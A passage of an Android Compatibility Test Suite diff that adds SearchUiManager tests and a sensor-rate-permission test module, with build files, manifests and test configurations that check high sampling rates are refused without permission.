+import static android.searchuiservice.cts.SearchUiUtils.QUERY_TIMESTAMP;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS1;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS2;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS3;
+import static android.searchuiservice.cts.SearchUiUtils.generateSearchTargetList;
+import static android.searchuiservice.cts.SearchUiUtils.generateQuery;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.search.Query;
+import android.app.search.SearchContext;
+import android.app.search.SearchSession;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.app.search.SearchUiManager;
+import android.content.Context;
+import android.os.Process;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * Tests for {@link SearchUiManager}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(AndroidJUnit4.class)
+public class SearchUiManagerTest {
+
+    private static final String TAG = "SearchUiManagerTest";
+    private static final boolean DEBUG = false;
+
+    private static final long VERIFY_TIMEOUT_MS = 5_000;
+    private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 20_000;
+
+    @Rule
+    public final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.SEARCH_UI_SERVICE);
+
+    private SearchUiManager mManager;
+    private SearchSession mClient;
+    private CtsSearchUiService.Watcher mWatcher;
+
+    @Before
+    public void setUp() throws Exception {
+        mWatcher = CtsSearchUiService.setWatcher();
+        mManager = getContext().getSystemService(SearchUiManager.class);
+        setService(CtsSearchUiService.SERVICE_NAME);
+        SearchContext searchContext = new SearchContext(
+                RESULT_CORPUS1 | RESULT_CORPUS2 | RESULT_CORPUS3, 0, null);
+        mClient = mManager.createSearchSession(searchContext);
+        await(mWatcher.created, "Waiting for onCreate()");
+        reset(mWatcher.verifier);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        Log.d(TAG, "Starting tear down, watcher is: " + mWatcher);
+        mClient.destroy();
+        setService(null);
+        await(mWatcher.destroyed, "Waiting for onDestroy()");
+
+        mWatcher = null;
+        CtsSearchUiService.clearWatcher();
+    }
+
+    @Test
+    public void testCreateSearchSession() {
+        assertNotNull(mClient);
+        assertNotNull(mWatcher.verifier);
+    }
+
+    @Test
+    public void testNotifyEvent() {
+        String targetId = "sample target id";
+        int action = SearchTargetEvent.ACTION_SURFACE_VISIBLE;
+        SearchTargetEvent event = new SearchTargetEvent.Builder(targetId, action)
+                .setFlags(SearchTargetEvent.FLAG_IME_SHOWN)
+                .setLaunchLocation("1,0")
+                .build();
+        mClient.notifyEvent(generateQuery(), event);
+
+        ArgumentCaptor<Query> queryArg = ArgumentCaptor.forClass(Query.class);
+        ArgumentCaptor<SearchTargetEvent> eventArg
+                = ArgumentCaptor.forClass(SearchTargetEvent.class);
+
+        verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS))
+                .onNotifyEvent(any(), queryArg.capture(), eventArg.capture());
+
+        assertTrue(queryArg.getValue().getInput().equals(QUERY_INPUT));
+        assertEquals(queryArg.getValue().getTimestamp(), QUERY_TIMESTAMP);
+        assertTrue(eventArg.getValue().getTargetId().equals(targetId));
+        assertEquals(eventArg.getValue().getAction(), action);
+    }
+
+    @Test
+    public void testQuery_realCallback() {
+        Query query = SearchUiUtils.generateQuery();
+        List<SearchTarget> targets = SearchUiUtils.generateSearchTargetList(3);
+
+        final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets /* expected */);
+        mWatcher.setTargets(targets /* actual */);
+        mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+    }
+
+    // flaky: 8 failure out of 100
+    @Ignore
+    public void testQuery_mockCallback() {
+        List<SearchTarget> targets = SearchUiUtils.generateSearchTargetList(2);
+        Query query = SearchUiUtils.generateQuery();
+
+        final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets);
+        mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+
+        doAnswer(answer -> {
+            Consumer<List<SearchTarget>> consumer
+                    = (Consumer<List<SearchTarget>>) answer.getArgument(2);
+            consumer.accept(targets);
+            return null;
+        }).when(mWatcher.verifier).onQuery(any(), any(), any(Consumer.class));
+    }
+
+    @Test
+    public void testQuery_params() {
+        List<SearchTarget> targets = generateSearchTargetList(2, true, false, false, false);
+        Query query = SearchUiUtils.generateQuery();
+
+        final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets);
+        mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+
+        ArgumentCaptor<Query> queryArg = ArgumentCaptor.forClass(Query.class);
+        ArgumentCaptor<Consumer<List<SearchTarget>>> callbackArg
+                = ArgumentCaptor.forClass(Consumer.class);
+
+        verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS))
+                .onQuery(any(), queryArg.capture(), callbackArg.capture());
+
+        Query expectedQuery = queryArg.getValue();
+        assertTrue(expectedQuery.getInput().equals(QUERY_INPUT));
+        assertEquals(expectedQuery.getTimestamp(), QUERY_TIMESTAMP);
+
+        Consumer<List<SearchTarget>> expectedCallback = callbackArg.getValue();
+        expectedCallback.andThen(callbackVerifier);
+    }
+
+    private void setService(String service) {
+        Log.d(TAG, "Setting search ui service to " + service);
+        int userId = Process.myUserHandle().getIdentifier();
+        if (service != null) {
+            runShellCommand("cmd search_ui set temporary-service "
+                    + userId + " " + service + " 60000");
+        } else {
+            runShellCommand("cmd search_ui set temporary-service " + userId);
+        }
+    }
+
+    private void await(@NonNull CountDownLatch latch, @NonNull String message) {
+        try {
+            assertWithMessage(message).that(
+                    latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+            throw new IllegalStateException("Interrupted while: " + message);
+        }
+    }
+
+    private void runShellCommand(String command) {
+        Log.d(TAG, "runShellCommand(): " + command);
+        try {
+            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+        } catch (Exception e) {
+            throw new RuntimeException("Command '" + command + "' failed: ", e);
+        }
+    }
+
+    public static class ConsumerVerifier implements
+            Consumer<List<SearchTarget>> {
+
+        private static List<SearchTarget> mExpectedTargets;
+
+        public ConsumerVerifier(List<SearchTarget> targets) {
+            mExpectedTargets = targets;
+        }
+
+        @Override
+        public void accept(List<SearchTarget> actualTargets) {
+            if (DEBUG) {
+                Log.d(TAG, "ConsumerVerifier.accept targets.size= " + actualTargets.size());
+                Log.d(TAG, "ConsumerVerifier.accept target(1).packageName=" + actualTargets.get(
+                        0).getPackageName());
+            }
+            Assert.assertArrayEquals(actualTargets.toArray(), mExpectedTargets.toArray());
+        }
+    }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java b/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java
new file mode 100644
index 0000000..21ecc68
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.searchuiservice.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import android.app.search.Query;
+import android.app.search.SearchAction;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.appwidget.AppWidgetProviderInfo;
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.net.Uri;
+import android.os.Parcel;
+import android.os.UserHandle;
+
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class SearchUiUtils {
+    static final String LAYOUT_TYPE_HERO = "hero";
+
+    static final int RESULT_CORPUS1 = 1 << 0;
+    static final int RESULT_CORPUS2 = 1 << 1;
+    static final int RESULT_CORPUS3 = 1 << 2;
+
+    static final String QUERY_INPUT = "b";
+    static final int QUERY_TIMESTAMP = 314;
+
+    /**
+     * Generate total {@param num} of {@link SearchTarget}s.
+     */
+    static List<SearchTarget> generateSearchTargetList(int num) {
+        return generateSearchTargetList(num, false, false, false, false);
+    }
+
+    /**
+     * Generate total {@param num} of {@link SearchTarget}s.
+     */
+    static List<SearchTarget> generateSearchTargetList(int num,
+            boolean includeSearchAction,
+            boolean includeShortcutInfo,
+            boolean includeAppWidgetProviderInfo,
+            boolean includeSliceUri) {
+        List<SearchTarget> targets = new ArrayList<>();
+        for (int seed = 0; seed < num; seed++) {
+            targets.add(generateSearchTarget(seed,
+                    includeSearchAction,
+                    includeShortcutInfo,
+                    includeAppWidgetProviderInfo,
+                    includeSliceUri));
+        }
+        return targets;
+    }
+
+    /**
+     * Generate sample search target using the {@param seed}.
+     */
+    static SearchTarget generateSearchTarget(int seed,
+            boolean includeSearchAction,
+            boolean includeShortcutInfo,
+            boolean includeAppWidgetProviderInfo,
+            boolean includeSliceUri) {
+
+        SearchTarget.Builder builder = new SearchTarget.Builder(RESULT_CORPUS1, LAYOUT_TYPE_HERO, String.valueOf(seed))
+                .setPackageName("package name")
+                .setUserHandle(UserHandle.CURRENT);
+
+        if (includeSearchAction) {
+            builder.setSearchAction(new SearchAction.Builder("id" + seed, "title" + seed)
+                    .setIntent(new Intent())
+                    .build());
+        }
+
+        if (includeShortcutInfo) {
+            builder.setShortcutInfo(new ShortcutInfo.Builder(getContext(), "id" + seed)
+                    .build());
+        }
+
+        if (includeAppWidgetProviderInfo) {
+            builder.setAppWidgetProviderInfo(new AppWidgetProviderInfo());
+        }
+
+        if (includeSliceUri) {
+            builder.setSliceUri(new Uri.Builder().build());
+        }
+
+        return builder.build();
+    }
+
+    static Query generateQuery() {
+        return new Query(QUERY_INPUT, QUERY_TIMESTAMP, null);
+    }
+}
diff --git a/tests/sensor/AndroidManifest.xml b/tests/sensor/AndroidManifest.xml
index ee866aa..e693c87 100644
--- a/tests/sensor/AndroidManifest.xml
+++ b/tests/sensor/AndroidManifest.xml
@@ -18,6 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.hardware.sensor.cts">
 
+    <uses-permission android:name="android.permission.HIGH_SAMPLING_RATE_SENSORS" />
     <uses-permission android:name="android.permission.ACTIVITY_RECOGNITION" />
     <uses-permission android:name="android.permission.BODY_SENSORS" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
diff --git a/tests/sensor/AndroidTest.xml b/tests/sensor/AndroidTest.xml
index 69335d1..d6a6615 100644
--- a/tests/sensor/AndroidTest.xml
+++ b/tests/sensor/AndroidTest.xml
@@ -28,7 +28,9 @@
     sensors -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="dumpsys sensorservice restrict .cts" />
+        <option name="run-command" value="cmd sensor_privacy disable 0 microphone" />
         <option name="teardown-command" value="dumpsys sensorservice enable" />
+        <option name="teardown-command" value="cmd sensor_privacy reset 0 microphone" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.hardware.sensor.cts" />
diff --git a/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp b/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp
index efb5f33..e8c84cf 100644
--- a/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp
+++ b/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp
@@ -68,3 +68,10 @@
     return env->RegisterNatives(clazz, gMethods,
             sizeof(gMethods) / sizeof(JNINativeMethod));
 }
+
+int register_android_hardware_cts_helpers_SensorRatePermissionDirectReportTestHelper(JNIEnv* env) {
+    jclass clazz = env->FindClass(
+            "android/hardware/cts/helpers/SensorRatePermissionDirectReportTestHelper");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/sensor/jni/nativeTestHelper.cpp b/tests/sensor/jni/nativeTestHelper.cpp
index 69eeba6..8aac60f 100644
--- a/tests/sensor/jni/nativeTestHelper.cpp
+++ b/tests/sensor/jni/nativeTestHelper.cpp
@@ -21,6 +21,8 @@
 
 extern int register_android_hardware_cts_SensorNativeTest(JNIEnv* env);
 extern int register_android_hardware_cts_SensorDirectReportTest(JNIEnv* env);
+extern int register_android_hardware_cts_helpers_SensorRatePermissionDirectReportTestHelper(
+        JNIEnv* env);
 
 void fail(JNIEnv* env, const char* format, ...) {
     va_list args;
@@ -52,5 +54,8 @@
     if (register_android_hardware_cts_SensorDirectReportTest(env)) {
         return JNI_ERR;
     }
+    if (register_android_hardware_cts_helpers_SensorRatePermissionDirectReportTestHelper(env)) {
+        return JNI_ERR;
+    }
     return JNI_VERSION_1_4;
 }
diff --git a/tests/sensor/sensorratepermission/Android.bp b/tests/sensor/sensorratepermission/Android.bp
new file mode 100644
index 0000000..4463625
--- /dev/null
+++ b/tests/sensor/sensorratepermission/Android.bp
@@ -0,0 +1,49 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsSensorRatePermissionTestCases",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
diff --git a/tests/sensor/sensorratepermission/AndroidManifest.xml b/tests/sensor/sensorratepermission/AndroidManifest.xml
new file mode 100644
index 0000000..3588161
--- /dev/null
+++ b/tests/sensor/sensorratepermission/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts">
+
+    <application />
+
+</manifest>
diff --git a/tests/sensor/sensorratepermission/AndroidTest.xml b/tests/sensor/sensorratepermission/AndroidTest.xml
new file mode 100644
index 0000000..63878b5
--- /dev/null
+++ b/tests/sensor/sensorratepermission/AndroidTest.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS Sensor Manager test cases">
+    <option name="test-suite-tag" value="cts"/>
+    <option name="config-descriptor:metadata" key="component" value="framework"/>
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi"/>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app"/>
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true"/>
+
+        <option name="test-file-name" value="CtsSensorRatePermissionReturnedRateInfo.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionDirectReportAPI30.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionDirectReportAPI31.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionEventConnectionAPI30.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionEventConnectionAPI31.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionDebuggableAPI31.apk"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="dumpsys sensorservice restrict .cts" />
+        <option name="run-command" value="cmd sensor_privacy disable 0 microphone" />
+        <option name="teardown-command" value="dumpsys sensorservice enable" />
+        <option name="teardown-command" value="cmd sensor_privacy reset 0 microphone" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.returnedrateinfo"/>
+        <option name="class" value="android.sensorratepermission.cts.returnedrateinfo.ReturnedRateInfoTest"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.directreportapi30"/>
+        <option name="class" value="android.sensorratepermission.cts.directreportapi30.DirectReportAPI30Test"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.directreportapi31"/>
+        <option name="class" value="android.sensorratepermission.cts.directreportapi31.DirectReportAPI31Test"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.eventconnectionapi31"/>
+        <option name="class" value="android.sensorratepermission.cts.eventconnectionapi31.EventConnectionAPI31Test"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.eventconnectionapi30"/>
+        <option name="class" value="android.sensorratepermission.cts.eventconnectionapi30.EventConnectionAPI30Test"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.debuggableapi31"/>
+        <option name="class" value="android.sensorratepermission.cts.debuggableapi31.DebuggableAPI31Test"/>
+    </test>
+</configuration>
+
diff --git a/tests/sensor/sensorratepermission/DebuggableAPI31/Android.bp b/tests/sensor/sensorratepermission/DebuggableAPI31/Android.bp
new file mode 100644
index 0000000..a3b75bb
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DebuggableAPI31/Android.bp
@@ -0,0 +1,52 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionDebuggableAPI31",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
diff --git a/tests/sensor/sensorratepermission/DebuggableAPI31/AndroidManifest.xml b/tests/sensor/sensorratepermission/DebuggableAPI31/AndroidManifest.xml
new file mode 100755
index 0000000..ae905d2
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DebuggableAPI31/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.debuggableapi31"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31"/>
+
+    <application android:label="Debuggable API30" android:debuggable="true">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.debuggableapi31"
+                     android:label="Debuggable API 31">
+    </instrumentation>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/DebuggableAPI31/src/android/sensorratepermission/cts/debuggableapi31/DebuggableAPI31Test.java b/tests/sensor/sensorratepermission/DebuggableAPI31/src/android/sensorratepermission/cts/debuggableapi31/DebuggableAPI31Test.java
new file mode 100644
index 0000000..e501f0c
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DebuggableAPI31/src/android/sensorratepermission/cts/debuggableapi31/DebuggableAPI31Test.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.debuggableapi31;
+
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.hardware.HardwareBuffer;
+import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEventListener;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test app that runs in debuggable mode, API 31, and requests >= 200 Hz sampling rate
+ *
+ * Expected behavior:
+ * - A Security Exception is thrown when trying to create a connection with the sensor service.
+ */
+@RunWith(Parameterized.class)
+public class DebuggableAPI31Test {
+    private static SensorManager mSensorManager;
+    private static Context mContext;
+
+    private final int sensorType;
+
+    public DebuggableAPI31Test(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionEventConnectionTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mSensorManager = mContext.getSystemService(SensorManager.class);
+    }
+
+    @Test
+    public void testRegisterListener() {
+        try {
+            Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+            if (sensor == null) {
+                return;
+            }
+            TestSensorEnvironment testSensorEnvironment = new TestSensorEnvironment(
+                    mContext,
+                    sensor,
+                    SensorManager.SENSOR_DELAY_FASTEST,
+                    (int) TimeUnit.SECONDS.toMicros(5));
+            TestSensorEventListener listener = new TestSensorEventListener(testSensorEnvironment);
+            boolean res = mSensorManager.registerListener(
+                    listener,
+                    sensor,
+                    testSensorEnvironment.getRequestedSamplingPeriodUs(),
+                    testSensorEnvironment.getMaxReportLatencyUs());
+            fail("Should have thrown a SecurityException!");
+        } catch (Exception e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testDirectChannel() {
+        try {
+            Sensor s = mSensorManager.getDefaultSensor(sensorType);
+            if (s == null) {
+                return;
+            }
+            if (!s.isDirectChannelTypeSupported(SensorDirectChannel.TYPE_HARDWARE_BUFFER)
+                    || s.getHighestDirectReportRateLevel() <= SensorDirectChannel.RATE_FAST) {
+                return;
+            }
+            int rateLevel = SensorDirectChannel.RATE_VERY_FAST;
+            HardwareBuffer hardwareBuffer = HardwareBuffer.create(
+                    1000, 1, HardwareBuffer.BLOB, 1,
+                    HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_GPU_DATA_BUFFER
+                            | HardwareBuffer.USAGE_SENSOR_DIRECT_DATA);
+            SensorDirectChannel channel = mSensorManager.createDirectChannel(hardwareBuffer);
+            channel.configure(s, rateLevel);
+            hardwareBuffer.close();
+            fail("Should have thrown a SecurityException");
+        } catch (SecurityException e) {
+            // Expected
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI30/Android.bp b/tests/sensor/sensorratepermission/DirectReportAPI30/Android.bp
new file mode 100644
index 0000000..7f100de
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI30/Android.bp
@@ -0,0 +1,52 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionDirectReportAPI30",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI30/AndroidManifest.xml b/tests/sensor/sensorratepermission/DirectReportAPI30/AndroidManifest.xml
new file mode 100755
index 0000000..de9434e
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI30/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.directreportapi30"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
